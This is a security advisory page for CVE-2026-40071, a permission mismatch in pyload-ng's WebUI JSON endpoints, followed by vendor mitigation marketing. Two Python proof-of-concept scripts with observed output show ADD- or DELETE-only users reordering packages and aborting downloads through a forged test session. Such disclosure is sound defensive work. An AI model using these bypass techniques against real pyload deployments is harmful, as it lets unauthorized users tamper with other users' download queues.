CVE-2026-40071 — pyload-ng
MEDIUMCVE-2026-40071 is a medium-severity (CVSS 5.4) CWE-863 vulnerability in pyload-ng. No vendor fix is recorded yet; mitigation options are listed below.
pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40071.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-40071 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.
Confirmed mismatches:
ADDuser can reorder packages/files (order_package,order_file) via/json/package_orderand/json/link_orderDELETEuser can abort downloads (stop_downloads) via/json/abort_link
Details
pyLoad defines granular permissions in core API:
order_packagerequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1125)order_filerequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1137)stop_downloadsrequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1046)
But WebUI JSON routes use weaker checks:
/json/package_orderuses@login_required("ADD")then callsapi.order_package(...)(src/pyload/webui/app/blueprints/json_blueprint.py:109-117)/json/link_orderuses@login_required("ADD")then callsapi.order_file(...)(src/pyload/webui/app/blueprints/json_blueprint.py:137-145)/json/abort_linkuses@login_required("DELETE")then callsapi.stop_downloads(...)(src/pyload/webui/app/blueprints/json_blueprint.py:123-131)
Why this is likely unintended (not just convenience):
- The same JSON blueprint correctly protects other edit actions with
MODIFY:/json/move_package->@login_required("MODIFY")(json_blueprint.py:188-196)/json/edit_package->@login_required("MODIFY")(json_blueprint.py:202-217)
- The project UI exposes granular per-user permission assignment (
settings.html:184-190), implying these boundaries are intended security controls.
PoC
Environment:
- Repository version:
0.5.0b3(VERSIONfile) - Commit tested:
ddc53b3d7
PoC A (ADD-only user invokes MODIFY-only reorder):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'attacker'
def order_package(self, pack_id, pos):
self.calls.append(('order_package', int(pack_id), int(pos)))
def order_file(self, file_id, pos):
self.calls.append(('order_file', int(file_id), int(pos)))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'attacker'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.ADD)
r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})
print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)
Observed output:
API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]
PoC B (DELETE-only user invokes MODIFY-only stop_downloads):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'u'
def stop_downloads(self, ids):
self.calls.append(('stop_downloads', ids))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'u'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.DELETE)
r = c.post('/json/abort_link', json={'link_id': 999})
print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)
Observed output:
API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]
Impact
Type:
- Improper authorization / permission-bypass between WebUI and core API permission model.
Scope:
- Horizontal privilege escalation among authenticated non-admin users.
- Not admin takeover, but unauthorized execution of operations explicitly categorized as
MODIFY.
Security impact:
- Integrity impact: unauthorized queue/file reordering by users lacking
MODIFY. - Availability impact: unauthorized abort of active downloads by users lacking
MODIFY.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of pyload-ng has shipped for CVE-2026-40071 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40071 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-40071. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-40071 in your dependencies?
O3 Security finds CVE-2026-40071 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.